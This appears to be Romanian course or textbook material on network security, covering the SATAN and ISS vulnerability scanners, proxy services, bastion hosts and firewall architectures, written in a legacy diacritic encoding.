Pentru instalarea programului , @ntr-o prim[ faz[ se va folosi comanda make pentru compilarea programului ]i ob\inerea fi]ierelor binare. Apoi se va edita corespunz[tor fi]ierul de configurare ( config/satan.cf) . Dup[ aceste ac\iuni , se poate rula SATAN , folosind interfa\a HTML, prin simpla introducere a comenzii satan sau din linia de comand[ ( satan nume ).
O observa\ie important[ este faptul c[ SATAN trebuie rulat cu drepturi de superuser (root).
Interpretarea eficient[ a rezultatelor oferite de verific[rile SATAN este partea cea mai dificil[ @n utiliuzarea acestui instrument. Aceasta se datore]te @n parte ]i faptului c[ nu exist[ o defini\ie clar[ a nivelului de securitate.
#n rapoartele f[cute de SATAN , dac[ exist[ un calculator gazd[ cu punct ro]u, aceasta @nseamn[ c[ respectivul calculator prezint[ o vulnerabilitate ce ar putea s[-l compromit[. Un punct negru semnific[ neg[sirea nici unui fel de vulnerabilitate pentru respectivul calculator . Ac\ionarea cu mouse-ul a leg[turilor va determina oferirea mai multor informa\ii despre calculatorul gazd[ , re\ea sau vulnerabilit[\i.
2.3 ISS
Internet Security Scanner ( ISS 1.x) a fost dezvoltat de de Christopher Klaus. Intrenet Security Scanner a fost proiectat pentru a-i ajuta pe administartorii de sistem ]i pentru a monitoriza vulnerabilit[\ile de securitate ale re\elei datorate serviciilor TCP/IP ale calculatorului gazd[. Este prezentat[ o list[ a testelor efectuate de ISS 1.x:
identificarea tipului de calculator gazd[;
teste sendmail: – alias-uri;
– depanare ]i verificarea ie]irilor l[untrice;
3) FTP: – verific[ri pentru FTP anonim;
– verificare permisiuni de scriere @n directorul principal;
RPC ( Remote Procedure Commands):
-ob\inerea de informa\ii prin portmapper;
NIS ( Network Information Sevices):
-aflare nume de domeniu NIS;
-@ncearc[ copierea fi]ierului de parole;
Selection_svc- permite ob\inerea fi]ierului de parole ;
Rexd – permite accesul la distan\[;
NFS ( Network File System):
– verific[ exportarea gre]it[ a sistemelor de fi]iere (showmount);
-arat[ toate sistemele de fi]iere exporate; 9) Rusers – informa\ii despre utilizatorii conecta\i;
X25 – posibile por\i pentru intru]i.
Dup[ cum se poate vedea ,verific[rile f[cute de ISS 1.x sunt teste binecunoscute ale celor mai des exploatate vulnerabilit[\i.
BIBLIOGRAFIE
Victor-Valeriu Patriciu, Monica Pietro]anu-Ene , Ion Bica , Costel Cristea – * Securitatea Informatic[ @n UNIX ]i INTERNET * , Editura Tehnic[ , Bucure]ti 1998
=== NOU ===
4.4 Sistemele proxy ]i por\ile la nivel aplica\ie
Pentru a elimina unele din dezavantajele filtr[rii de pachete, firewall-urile trebuie s[ foloseasc[ aplica\ii software pentru intermedierea accesului la unele servicii , cum ar fi TELNET ]i FTP. O astfel de aplica\ie este cunoscut[ sub numele de " serviciu proxy" ( proxy service ) , iar sistemul gazd[ pe care ruleaz[ se nume]te "poart[ la nivel aplica\ie " ( application level gateway ). Por\ile la nivel aplica\ie ]i ruter-ele cu facilit[\i de filtrare a pachetelor pot fi combinate pentru a realiza un nivel mai @nalt de securitate ]i flexibilitate dec`t @n cazul folosirii separate a acestora.
Ca exemplu, s[ consider[m cazul unei re\ele conectate la INTERNET care, cu o singur[ excep\ie , blocheaz[ intrarea tuturor conexiunilor TELNET, folosind un ruter cu facilita\i de filtrare a pachetelor . Ruter-ul permite trecerea pachetelor TELNET spre un singur sistem gazd[ -poarta la nivel aplica\ie TELNET. Un utilizator extern , care dore]te s[ se conecteze la unul dintre sistemele gazd[ din re\ea , trebuie s[ se conecteze mai @nt`i la poart[ ]i mai apoi la sistemul dorit , astfel:
– utilizatorul stabile]te mai @nt`i o conexiune TELNET cu poarta ]i introduce numele sistemului gazd[ intern cu care dore]te s[ se conecteze;
– poata verific[ adresa surs[ IP a utilizatorului ]i accept[ sau refuz[ cererea pe baza criteriilor de acordare a accesului stabilite anterior;
– poata cere utilizatorului s[ se autentifice, folosind un mecanism de tipul parol[ de unic[ folosin\[;
– serviciul proxy creeaz[ o conexiune TELNET @ntre poart[ ]i sistemul gazd[ intern;
– serviciul proxy expediaz[ octe\ii @ntre cele dou[ conexiuni;
poarta @nregistreaz[ conexiunea @ntr-un fi]ier jurnal.
#n afar[ de TELNET, por\ile la nivel aplica\ie sunt folosite ]i pentru alte servicii, cum ar fi FTP, e-mail, X Window ]i altele. Unele servicii proxy de FTP au posibilitatea de a interzice comenzile put ]i get pentru anumite sisteme gazd[. De exemplu , un utilizator extern, care stablile]te o sesiune FTP cu un server anonim de FTP via o poart[ la nivel aplica\ie , poate @ncerca s[ transfere fi]iere pe server. Serviciul proxy de FTP de pe poart[ poate filtra, @n acest caz, protocolul FTP ]i interzice toate comenzile put transmise spre server-ul anonim de FTP. Se realizeaz[ astfel un grad mai @nalt de siguran\[ dec`t @n cazul @n care totul s-ar fi bazat numai pe setarea corect[ a atributelor fi]ierelor ]i directoarelor de pe server.
Exist[ servicii pentru care nu sunt necesare servicii proxy – a]a-numitele servicii store-and-forward; ele implementeaz[ ideea de proxy prin modul @n care a fost conceput protocolul. La aceste servicii, mesajele sunt primite de un server ]i apoi memorate p`n[ c`nd pot fi trimise c[tre alt server (sau server-e). Un exemplu este SMTP (po]ta electronic[). O scrisoare nu ajunge direct de la calculatorul expeditorului la cel al destinatarului; este trimis[ mai @nt`i la server-ul de po]t[ electronic[ al re\elei expeditorului , care o trimite c[tre server-ul de po]t[ electronic[ din re\eaua destinatarului, dup[ care ajunge la destinatar. (Acest lucru poate fi constatat prin examinarea header-ului received al unei scrisori). Fiecare dinter aceste server-e se comport[ ca un serviciu proxy pentru expeditor. Alte servicii din aceast[ categorie sunt NNTP ]i NTP.
O poart[ la nivel aplica\ie pentru po]ta electronic[ (e-mail) serve]te la centralizarea po]tei electronice ]i distribuirea acesteia c[tre sistemele gazd[ ]i utilizatorii interni. Pentru utilizatorii din exterior, to\i posibilii destinatari din interior vor avea o adres[ de po]t[ electronic[ de forma:
utilizator@gazda_de_e-mail,
unde gazda_de_e-mail reprezint[ numele por\ii prentru po]ta electronic[ . Poarta va accepta po]ta de la utilizatorii din exterior ]i o va expedia apoi c[tre alte sisteme interne , dup[ necesitate. Utilizatorii interni care vor s[ transmit[ po]t[ electronic[ o pot face direct de la propriile sisteme gazd[ sau, @n cazul @n care numele sistemelor interne nu sunt cunoscute @n exteriorul re\elei protejate , po]ta va fi transmis[ por\ii, care o va expedia apoi la destina\ie.
Pentru a accepta serviciul de po]t[ electronic[ , unele por\i la nivel aplica\ie folosesc o versiune modificat[ (@n sensul cre]terii nivelului de securitate) a programului sendmail ]i un wrapper. #n general, un wrapper este un program folosit pentru a controla accesul la un alt program, @n scopul asigur[rii unui grad mai @nalt de securitate celui de-al doilea. Wrapper-ele sunt o inven\ie recent[ @n domeniul securit[\ii sistemelor UNIX. Aceste programe au ap[rut din nevoia de a modifica sistemul de operare , f[r[ a avea acces la codul surs[ al acestuia.
Wrapper-ele sunt folosite din mai multe motive:
– sunt simple ]i u]or de validat, deoarece mecanismele de securitate sunt @ncapsulate @ntr-un singur program;
– pot fi actualizate (@mbun[t[\ite) f[r[ probleme , deoarece programul protejat r[m`ne o entitate separat[;
un singur wrapper poate fi folosit pentru a controla accesul la o varietate de programe , deoarece programele protejate sunt apelate prin intermediul func\iei standard exec( ).
Avantajele folosirii serviciilor proxy:
– permit folosirea numai acelor servicii pentru care exist[ un proxy , reprezent`nd o implementare a filozofiei " ceea ce nu este @n mod explicit permis este interzis ". Cu alte cuvinte, dac[ o poart[ la nivel aplica\ie con\ine servicii proxy doar pentru TELNET ]i FTP , atunci numai conexiunile TELNET ]i FTP vor fi permise din exterior @n re\eaua protejat[ , celelalte servicii fiind complet blocate;
– protocolul poate fi filtrat (un serviciu proxy "@n\elege" protocolul pentru care a fost proiectat). Unele firewall-uri , de exemplu pot filtra conexiunile FTP , interzic`nd folosirea comenzii "put" ]i asigur`ndu-se c[ utilizatorii nu pot s[ scrie pe discul server-ului de FTP. Folosirea por\ilor la nivel aplica\ie are mai multe avantaje fa\[ de varianta permiterii conexiunilor directe cu sistemele gazd[ interne:
– ascunderea informa\iilor cu privire la numele sistemelor interne, nume care nu mai trebuie s[ fie f[cute @n exterior , prin intermediul DNS;
– folosirea centralizat[ a unui mecanism avansat de autentificare ]i monitorizare a accesului, @n condi\iile unor costuri mai mici fa\[ de varianta @n care acest mecanism ar fi implementat separat de fiecare sistem gazd[;
reguli de filtrare mai pu\in complexe la nivele ruter-ului protector, acesta permi\`nd doar traficul spre poarta la nivel aplica\ie ]i reject`nd restul.
Dezavantajele serviciilor proxy:
– #n cazul protocoalelor de tip client-server, cum ar fi TELNET , sunt necesari doi pa]i pentru realizarea unei conexiuni;
– Unele servicii proxy pot necesita modificarea software-ului pentru client. De exemplu, chir dac[ nu cere modificarea software-ului clien\ilor de TELNET , un serviciu proxy pentru TELNET cere totu]i modificarea comportamentului utilizatorilor: ace]tia trebuie s[ se conecteze (f[r[ a face login) la firewall , @n opozi\ie cu situa\ia @n care se conectau direct la sistemul gazd[ . #n schimb, un client TELNET modificat poate face firewall-ul transparent , permi\`nd utilizatorului s[ specifice sistemul destina\ie @n comanda TELNET. #n acest caz, firewall-ul – aflat pe ruta spre sistemul destina\ie- trebuie s[ intercepteze conexiunea ]i apoi s[ execute pa]ii adi\ionali necesari , cum ar fi pentru autentificarea avansat[ . Comportamentul utilizatorului r[m`ne acela]i , cu pre\ul modific[rii software-ului client pe fiecare sistem;
– De]i exist[ software proxy pentru serviciile "consacrate" , acesta s-ar putea s[ fie greu de g[sit pentru serviciile mai noi sau mai pu\in utilizate;
Exist[ servicii care nu se preteaz[ la proxy. Eficien\a serviciului proxy depinde de posibilitatea de a determina care dintre opera\iile unui anumit protocol sunt sigure ]i care nu. Chiar dac[ sau determinat opera\iile nesigure , interzicerea lor s-ar putea s[ afecteze func\ionarea @ntregului protocol (acesta este cazul la X Window, de exemplu).
Tipuri de servicii proxy
Exist[ dou[ categorii de servicii proxy:
– la nivel aplica\ie;
la nivel circuit.
(a) Serviciile proxy la nivel aplica\ie. Sunt proiectate pentru un anumit protocol de nivel aplica\ie (se mai folose]te ]i termenul de "servicii proxy dedicate"). Ele "@n\eleg" ]i interpreteaz[ comenzile din protocolul respectiv, put`nd s[ permit[ sau s[ interzic[ unele dintre ele. Un serviciu proxy la nivel aplica\ie con\ine:
– un server pentru protocolul respectiv, pentru acceptarea conexiunilor de la clien\i;
– un client, pentru a deschide conexiuni la server-ul real;
– un mecanism care s[ implementeze politica de securitate @n re\ea, relativ[ la protocolul respectiv (specificarea ac\iunilor care s[ fie luate pentru fiecare comand[ din protocol : monitorizare, interzicere, acceptare, autentificare etc.);
un mecanism pentru efectuarea opera\iilor specifice : trimiterea pachetelor permise de pe o conexiune TCP pe cealalt[, scrierea @n fi]ierul de monitorizare etc. (b) Serviciile proxy la nivel circuit (sau "generice"). Creeaz[ un circuit @ntre client ]i server, f[r[ a interpreta protocolul aplica\ie. Ele primesc conexiuni de la un anumit sistem gazd[ , pe un anumit port, ]i deschid o nou[ conexiune c[tre sistemul gazd[ destina\ie, pe alt port. Se creeaz[ @n acest fel un circuit @ntre sistemele gazd[ surs[ ]i destina\ie.
Func\ionarea acestor proxy-uri este asem[n[toare cu cea a unui filtru de pachete : deciziile pe care le ia un astfel de proxy nu se bazeaz[ pe comenzile vreunui protocol (comenzi care constituie con\inutul pachetelor pe care clientul le trimite server-ului) , ci pe informa\iile din antetele pachetelor (adresele de IP, port-uri etc.). De exemplu, proxy-urile generice pot fi folosite pe un sistem gazd[ dual: dup[ ce ambele conexiuni sunt stabilite, server-ul proxy va copia pachetele de pe o interfa\[ de re\ea pe cealalt[. Sistemul gazd[ dual @ndepline]te , @n acest caz, rolul unui filtru de pachete , doar poate avea, @n plus, capacit[\ile de autentificare a utilizatorului ]i monitorizare a traficului. Exist[ ]]i servicii care nu pot fi furnizate prin proxy-uri generice. Serviciul FTP, de exemplu, la care server-ul ]i clientul @]i comunic[ numere de port, necesit[ interven\ii la nivelul protocolului.
Utilizarea proxy-urilor pentru diverse servicii INTERNET
Exist[ mai mul\i factori care determin[ compatibilitatea unui anumit serviciu cu sistemele proxy ]i simplitatea unui sistem proxy pentru acel serviciu:
– protocoalele bazate pe TCP se preteaz[ mai bine la proxy dec`t cele bazate pe UDP. #n cazul TCP, se realizeaz[ de la @nceput conexiunile client-server proxy ]i server proxy-server real , dup[ care server-ul proxy este intercaalt @ntre client ]i server p`n[ la @nchiderea conexiunii. #n cazul UDP, fiecare pachet @n parte necesit[ o decizie separat[ din partea server-ului proxy , pentru a determina mai @nt`i conexiunea c[reia @i apar\ine;
– protocoalele @n care utilizatorul nu trimite nici un fel de date server-ului nu pot utiliza clien\i obi]nui\i (deoarece nu se poate modifica procedura de apelare);
majoritatea server-elor proxy sunt proiectate pentru situa\ia @n care clientul este @n interior, iar server-ul @n exterior. Aceasta , deoarece un server proxy cere cooperare, fie din partea clientului (modificat), fie din partea utilizatorului, ]i probabil c[ nu vom g[si clien\i modific\i sau utilizatori "antrena\i" dec`t @n interior. #n general, situa\ia invers[ (client exterior) este prev[zut[ soar pentru a asigura accesul propriilor utilizatori de la alte sisteme gazd[ dec`t cele interne ; ace]tia vor utiliza , probabil , clien\i obi]nui\i, dar @i vor apela diferit.
4.5 Sistemele gazd[-bastion
Un sistem gazd[-bastion este orice sistem gazd[ care intr[ @n componen\a firewall-ului ]i este critic pentru securitatea re\elei. Un sistem gazd[-basion reprezint[ prezen\a public[ pe INTERNET a unei organiza\ii . Existen\a sa fiind public[ , sistemul gazd[-bastion este expus atacurilor. Din aceast[ cauz[, un sistem gazd[-bastion trebuie s[ i se asigure un grad @nalt de securitate , prin construc\ie ]i prin configurare.
Exist[ dou[ principii de baz[ pentru proiectarea ]i construirea unui sistem gazd[-bastion:
1.simplitatea – cu c`t sistemul gazd[-bastion este mai simplu , cu at`t este mai u]or de asigurat securitatea sa. Orice software (serviciu) care ruleaz[ pe sistemul gazd[-bastion poate con\ine erori sau probleme de configurare care pot conduce la incidente de securitate . De aceea , pe sistemul gazd[-bastion este preferabil s[ ruleze software-ul minim necesar pentru @ndeplinirea rolului s[u;
2. orice sistem gazd[-bastion poate fi compromis. Aceast[ situa\ie trebuie avut[ @n vedere ]i trebuie s[ existe un set de m[suri care s[ fie luate @n acest caz. Aceasta se va reflecta chiar @n configura\ia firewall-ului , respectiv @n modul de comunicare a sistemului bastion cu celelalte sisteme. Trebuie asigurat faptul c[ cineva care p[trunde @n sistemul gazd[-bastion nu va avea acces imediat ]i total la celelalte sisteme.
(A) Tipuri speciale de sisteme gazd[-bastion
1. – sistemul gazd[-dual – @n re\elele TCP/IP , termenul sistem " sistem multi gazd[" descrie un sistem gazd[ care are dou[ sau mai multe interfe\e de re\ea, fiecare legat[ la un alt segment de re\ea. #n mod obi]nuit , acest sistem multi-gazd[ dirijeaz[ traficul @ntre segmentele de re\ea, juc`nd rolul unui ruter.Dac[ func\ia de dirijare a sistemului multi-gazd[ este dezactivat[ , sistemul poate asigura izolarea de trafic @ntre re\alele la care este conectat, @n condi\iile @n care fiecare re\ea va fi @n m[sur[ s[ proceseze apli30\ii pe acest sistem . Un sistem gazd[ dual este un exemplu de sistem multi-gazd[ care are dou[ interfe\e de re\ea (una conectat[ la re\eaua intern[ , iar cealalt[ la INTERNET) ]i func\ia de dirijare dezactivat[ . Comunicarea @ntre cele dou[ re\ele nu se mai face automat, printr-o func\ie de nivel (3) ISO/OSI , ci sub un control riguros, la nivelul aplica\ie (7) ISO/OSI , prin intermediul unor agen\i speciali- serviciile proxy;
ma]ina victim[ (sacrificat[) – este un sistem gazd[ dispus @n interiorul unei re\ele intermediare , situat[ @ntre reaua protejat[ ]i exterior. Pe acest sistem ruleaz[ serviciile necesare organiza\iei , dar care nu pot fi furnizate din interiorul re\elei protejate – din cauza gradului lor ridicat de insecuritate – sau servicii nou ap[rute, ale c[ror caracteristici de securitate nu se cunosc @nc[. Re\eaua intermediar[ se mai nume]te ]i "zon[ demilitarizat[" , iar gradul de "sacrificare" al sistemului este dat de atacurile posibile, vulnerabilit[\ile serviciilor suportate ]i protc\ia (minim[) pe care o poate asigura firewall-ul.
(B) Configura\ia hardware a sistemului gazd[-bastion
Un sistem gazd[-bastion nu are nevoie de un procesor foarte puternic. #n general, limit[rile unei conexiuni la INTERNET sunt date de linia de transmisie ]i nu de viteza procesoarelor. Exist[ ]i alte considerente @n defavoarea unui procesor puternic pe acest sistem:
@n cazul @n care este compromis , un sistem cu vitez[ de procesare redus[ va ajuta mai pu\in pe atacator s[ penetreze sistemele interne; de exemplu, compilarea unui cod sau atacul de tip dic\ionar de parole @ndreptat @mpotriva altor sisteme , dar executat de pe acest sistem , va dura mai mult;
un sistem rapid , care nu este foflosit la @ntreaga capacitate din cauza vitezei mai mici de pe conexiunea de re\ea, ar putea s[-i tenteze pe utilizatorii interni s[-l foloseasc[ ]i pentru alte lucruri, ceea ce va mic]ora considerabil ]ansele ca el s[ r[m`n[ la fel de sigur;
un sistem mai lent nu va acorda un prestigiu prea mare cuiva care reu]e]te s[ @l compromit[ (iar prestigiul este , @n multe cazuri, singura motiva\ie a hacker-ului). #n ceea ce prive]te capacitatea memoriei interne ]i externe, sistemul gazd[-bastion va trebui s[ \in[ eviden\a unui anumit num[r (posibil mare) de conexiuni simultane , datorit[ serviciilor proxy care ruleaz[ pe el. Acest lucru ar putea necesita o capacitate mare de memeorie intern[ ]i spa\iu suficient de mare pe disc, pentru evacuare/ @nc[rcare ]i memorarea fi]ierelor jurnal. Celelalte componente hardware nu trebuie s[ fie foarte performante (de exemplu placa grafic[ ) , deoarece sistemul gazd[-bastion trebuie s[ @ndeplineasc[ doar acele func\iuni (servicii de re\ea ) pentru care a fost proiectat ]i, preferabil, nimic altceva.
(C) Servicii furnizate de sistemul gazd[ bastion
Pe sistemul bastion vor rula servicii proxy pentru serviciile care se doresc a fi furnizate. #n general, serviciile pot fi @mp[r\ite @n patru clase:
servicii sigure , care pot fi furnizate direct prin filtarea de pachete;
servicii care @n mod normal sunt nesigure, dar pot fi securizate prin proxy . Aceste servicii pot fi furnizate prin sistemul gazd[- bastion;
servicii care sunt nesigure ]i nu pot fi securizate. acestea vor fi dezactivate pe orice sistem, iar dac[ sunt absolut necesare vor fi rulate pe o ma]n[ victim[;
servicii care nu sunt folosite @n INTERNET. Este preferabil s[ nu existe conturi utilizator pe sistemul gazd[-bastion. Existen\a conturilor pentru utilizatori pe o ma]in[ reduce securitatea ma]inii respective din mai multe motive cum ar fi:
vunerabilitatea conturilor (a parolelor);
vulnerabilitatea serviciilor necesre pentru a implementa conturile (acestea pot avea gre]eli ce pot fi exploatate);
cre]te dificultatea detect[rii atacurilor;
utilizatorii pot instala ]i rula pe ma]na respectiv[ alte programe care prezint[, la r`ndul lor , vulnerabilit[\i. A]a cum am mai men\ionat , pe sistemul gazd[-bastion terbuie s[ ruleze doar acele servicii pentru care a fost proiectat. De aceea , sistemul s[u de operare va trebui s[ fie c`t mai simplu cu putin\[. Toate op\iunile ]i capacita\ile sistemului de operare , care nu sunt necesare serviciilor rulate , trebuie dezactivate, mai ales la UNIX, care con\ine o serie de programe (clien\i ]i server-e ) pentru lucrul @n re\ea , de cele mai multe ori implicit activate. O caracteristic[ foaret important[ a sistemuylui gazd[-bastion este capacitatea de a monitoriza toate activit[\ile desf[]urate. #nregistr[rile de monitorizare de pe un sistem gazd[-bastion sunt importante din doua motive:
reprezint[ cea mai bun[ metod[ de a determina dac[ sitemul bastion se comport[ a]a cum trebiue . Prin examinarea @nregistr[rilor putem determina exact ceea ce se @nt`mpl[ pe sistemul bastion ]i putem decide dac[ e corect sau nu;
c`nd cineva va trebui s[ p[trund[ @n sistemul gazd[-bastion , @nregistr[rile ne pot ar[ta ceea ce s-a @nt`mplat ]i putem evita astfel repetarea incidentului. Fi]ierele de monitorizare trebuie salvate periodic ]i p[strate @ntr-un loc sigur (de preferin\[ nu tot pe sistemul gazd[-bastion ) o anumit[ perioad[ de timp.
Exemple de arhitecturi firewall
Dac[ p`n[ acum am prezentat componente4le de baz[ ale unui firewall , @n cele ce urmeaz[ vom prezenta diverse modailit[\i de a le combina, pentru a v[ oferi o @n\elegere mai concret[ a conceptului de firewall . Exemplele de arhitecturi firewall , pe care le prezent[m @n continuare , sunt :
firewall-ul de tip filtru de pachete (Packet Filtering Firewall) ;
firewall-ul de tip sistem gazd[ dual (Dual-homed Host Firewall);
firewall-ul de tip sistem gazd[-bastion protejat (Screened Bastion Host Firewall);
firewall-ul de tip subre\ea protejat[ ( Screened Subnet Firewall);
integrarea @ntr-o arhitectur[ firewall a unui server de acces @n re\ea prin modem. Aceste arhitecturi nu sunt singurele , ci sunt cele care se reg[sesc @n multe dintre produsele firewall comerciale , existente pe pia\[ @n acest moment.
Arhitectura firewall de tip filtru de pachete
Firewall-ul de tip filtru de pachete este, probabil , cea mai obi]nuit[ ]i cel mai
u]or de implementat arhitectur[ pentru re\elele mici , simple ca structur[. Totu]i, av`nd numeroase dezavantaje , este solu\ia cea mai pu\in indicat[. Aceast[ arhitactur[ are la baz[ instalarea unui ruter cu facilit[\i de filtrare a pachetelor @ntre reaua protejat[ ]i INTERNET ]i configurarea regulilor de filtrare a pachetelor pentru a bloca sau filtra protocoale ]i adrese . Sistemele interne re\elei protejate prin firewall au , @n mod obi]nuit , acces direct la INTERNRET, @n timp ce tot sau a[proape tot accesul din INTERNET spre interior este blocat. Ruter-ul poate , totu]i, permite un acces selectiv c[tre anumite sisteme ]i servicii , @n func\ie de politica local[ de securitate @n re\ea. De obicei, serbviciile inerent nesigure, cum ar fi NIS , NFS ]i X Windows, sunt blocate. Un firewall cu filtrare de pachete are acelea]i dezavantaje ca ]i un ruter cu facilit[\i de filtare a pachetelor , exist`nd posibilitatea ca acestea s[ se amplifice, pe m[sur[ ce nevoile de securitate ale unei re\ele protejate devin mai complexe ]i stringente. Este vorba de faptul c[:
cvasi-inexisten\a capacit[\ii de jurnalizare face ca un administrator s[ nu poat[ determina cu u]urin\[ dac[ ruter-ul a fost compromis sau este supus unui atac;
regulile de filtrare a pachetelor sunt adesea dificil de testat @n detaliu , ceea ce las[ re\eaua deschis[ unor vulnerabilit[\i netestate ;
dac[ regulile de filtrarew necesare sunt complexe , acestea devin greu de administrat;
fiecare sistem gazd[, direct accesibli din INTERNET, va avea nevoie de o copie proprie a mecanismelor avansate de autentificare.
Pe un ruter cu facilit[\i de filtrare a pachetelor , se poate implementa oricare dintre politicile de proiectare a unui firewall .Totu]i, dac[ ruter-ul nu filtreaz[ dup[ port-ul surs[ sau are ]i alte limit[ri @n ceea ce prive]te filtrarea , va fi mai dificil de o\implementat cea de-a doua politic[ – "ceea ce nu este @n mod expres permis este interzis" . Dac[ scopul urm[rit este implementarea celei de-a doua politici , atunci este indicat[ achizi\ionarea unui ruter care ofer[ cea mai mare flexibilitate @n posibilit[\ile de filtrare.
#n concluzie , un firewall cu filtrare de pachete este potrivit @n mediile cu nevoi de securitate relativ mici, @n care nu sunt necesare reguli complexe de filtrare sau @n care nu exist[ un num[r mare de sisteme gazd[ ce trebuie protejate. Pentru re\elele cu nevoi ridicate de securitate , trebuie luate @n considerare arhitecturi de firewall mai robusteb , de tipul celor prezentate @n continuare.
Arhitectura firewall de tip sistem gazd[ dual
Aceast[ arhitactur[ este o variant[ mai bun[ fa\[ de firewall-ul cu filtrare de pachete , put`nd fi folosit[ pentru a izola re\eaua intern[ (proprie) de exterior (INTERNET). Sistemul gazd[ dual este a]ezat @ntre re\eaua intern[ ]i cea extern[, fiind conectat la ambele prin c`te o interfa\[ de re\ea. #n general , un asemenea sistem @ndepline[te func\ia de ruter, expediind automat pachetele de la o re\ea la alta ]i direc\ion`ndu-le spre destina\ie. #n cazul @n care @ndepline]te func\ia de firewall. caracteristica de dirijare este dezactivat[ , iar pachetele nu mai sunt trimise automat de la o re\ea la alta.
Pentru a furniza servicii ]i acces la INTERNET, exist[ dou[ posimilit[\i: – pe firewall ruleaz[ servicii proxy , acestea intermediind cererile de srvicii ale utilizatorilor interni( venite prin interfa\a "intern[") spre INTERNET ]i/sau cererile de servicii ale utilizatorilor externi(venite din INTERNET, prin interfa\a " extern[") spre re\eaua intern[ .
utilizatorii care doresc acces la INTERNET vor lucra pe sistemul gazd[ dual (direct sau realiz`nd o conectate la dostan\[ de la una din sta\iile din re\eaua intern[, prin TELNET). A doua posibilitate ridic[ serioase probleme de securitate , datorit[ conturilor utilizatorilor de pe sistemul firewall ]i, de aceea, nu este recomandat[.
Prima posibilitate este mai sigur[ , deoarece nu permite trecerea dec`t a cererilor
spre servicii pentru care exist[ aplica\ii proxy ce se execut[ pe sistemul gazd[ dual, @n acest fel firewall-ul implement`nd cea de-a doua politic[ de proiectare (" ceea ce nu este @n mod expres permis este interzis" ) . Dezactivarea dirij[rii @nt[re]te caracterul confiden\ial al informa\iilor vehiculate @n interiorul subre\elei protejate, deoarece rutele c[tre server-ele acesteia vor fi cunoscute numai de firewall , nu ]i de celelalte sisteme din INTERNET. Numele ]i adresele IP din interior vor fi invizibile @n INTERNET, deoarece firewall-ul nu va furniza informa\ie DNS spre exterior. Num[rul limitat de servicii ]i lipsa de flexibilitate a firewall-ului de acest tip poate fi un dezavantaj @n cazul anumitor re\ele . Deoarece toate serviciile sunt blocate , cu excep\ia acelora pentru care exist[ servicii proxy, conexiunile spre alte servicii nu pot fi deschise. Sistemele care solicit[ accesul la aceste servicii suplimentatre pot fi plasate @n partea de INTERNET a firewall-ului, @ntr-o subre\ea creat[ cu ajutorul unui ruter. De asemenea, dac[ se dore]te furnizarea spre exterior , @n conditiile de risc minim pentru celelalte sisteme din re\eaua protejat[ , a unor servicii informa\ionale (HTTP , FTP, gropher etc.), acestea pot fi dispuse tot @n aceast[ subre\ea. Firewall-ul are capacitatea de a separa traficul legat de server-ul informa\ional de restul traficului. presupun`nd c[ sistemul gazd[ dual furnizeaz[ servicii proxy ]i pentru server-ul informa\ional ruter-ul poate preveni accesul direct din INTERNET la acest server, for\`ndu-l s[ treac[ prin firewall. Dac[ este permis accesul direct la server ( alternativ[ mai pu\in sigur[) , atunci numele server-ului ]i adresa IP a acestuia vor trebui anun\ate prin DNS. Localizarea server-ului informa\ional @n exteriorul re\elei protejate este,oricum ,o variant[ mai bun[ dec`t dispunerea sa @n interior, deoartece sistemul gazd[ dual va preveni faptul ca o eventual[ penetrare a server-ului s[ amenin\e sistemele gazd[ interne. Uneori, subre\eaua din exteriorul re\elei protejate este numit[ "zon[ demilitarizat[" . Termenul de "zon[ demilitarizat[" trebuie @n\eles @n sensul c[ accesul la serviciile apar\in`nd acesteia este , @n principiu, liber, nerestric\ionat printr-o politic[ de acces , informa\iile fiind publice. Uneori, server-ele din interiorul "zonei demilitarizate" sunt considerate a fi mai mult sau mai pu\in "sacrificate" , @n func\iile de capabilit[\ile de conectare la INTERNET ale ruter-ului (facilit[\ile de filtrare a pachetelor) ]i ale sistemului gazd[ dual (dac[ are sau nu servicii proxy pentru acestea), @n sensul c[ organiza\ia c[reia @i apar\in @]i poate permite suportarea unor incidente de securitate @n ceea ce le prive]te. A]a cum am mai men\ionat, acest tip de firewall impune dezactivarea func\iei de dirijare pe sistemul gazd[ dual. Av`nd @n vedere c[ cele mai multe firewall-uri sunt construite pe suportul sistemului de operare UNIX ]i c[ unele sisteme UNIX au activat[ implicit ac\iunea de dirijare de la surs[, este foarte important[ cunoa]terea modului de dezactivare a func\iilor de dirijare. Dezactivarea func\iilor de dirijare @ntr-un sistem gazd[ dual bazat pe UNIX necesit[ reconfigurarea ]i recompilarea nucleului sistemului de operare. Generarea fi]ierelor necesare reconstituirii nucleului sistemului de operare UNIX se face cu ajutorul comenzii config, iar compilarea nucleului se face cu comanda make. Pentru a dezactiva dirijarea , trebuie setat[ corespunz[tor variabila intern[ a nucleului UNIX – ipforwarding. Setarea acesteia se face la compilare , func\ie de valoarea din fi]ierul de configuare a parametrului IPFORWARDING. Pentru dezactivarea func\iei de dirijare , fi]ierul de configurare trebuie s[ con\in[ urm[toarea linie:
options IPFORWARDING=-1
Este important de re\inut c[ securitatea unui firewall implementat pe un sistem gazd[ dual poate fi compromis[ dac[ un intrus ob\ine suficinte privilegii @n sistem, astfel @nc`t s[ poat[ activa dirijarea (prin schimbarea valorii variabilei nucleu ipforwarding). O dat[ reactivat[ dirijarea , mecanismul de firewall poate fi ocolit . Pericolul cel mai mare @l reprezint[ , @n acest sens, accesul direct la sistemul gazd[ dual , prin login. Pentru a preveni ocolirea firewall-ului , accesul la acestea trebuie s[ se fac[ numiai de la o consol[ proprie sau de le distan\[, @n condi\iile folosirii unui mecanism avansat de autentificare, far[ a se permite existen\a de conturi utilizator pe sistem. #n afara dezactiv[rii func\iei de dirijare , trebuie ]terse de pe sistemul gazd[ dual toate programele, utilitarele ]i serviciile care ar putea fi folosite @ntr-un mod periculos de un eventual intrus: instrumentele de programare (compilatoare, linkeditoare etc) , programele care au setate drepturile de acces SUID ]i SGID ]i nu sunt absolut necwesare , conturile sistem ]i conturile speciale ce nu sunt necesare , serviciile de re\ea nedorite.
Arhitectura firewall de tip sistem gazd[-bastion protejat
Firewall-ul de tip sistem gazd[-bastion protejat este mai flexibil dec`t firewall-ul
implementat pe un sistem gazd[ dual. Totu]i, flexibilitatea @n acest caz este ob\inut[ prin acceptarea unor compromisuri @n ceea ce prive]te securitatea. acest tip de firewall este recomandat acelor organiza\ii care au nevoie de mai mult[ flexibilitate dec`t poate oferi un firewall implementat pe un sistem gazd[ dual.
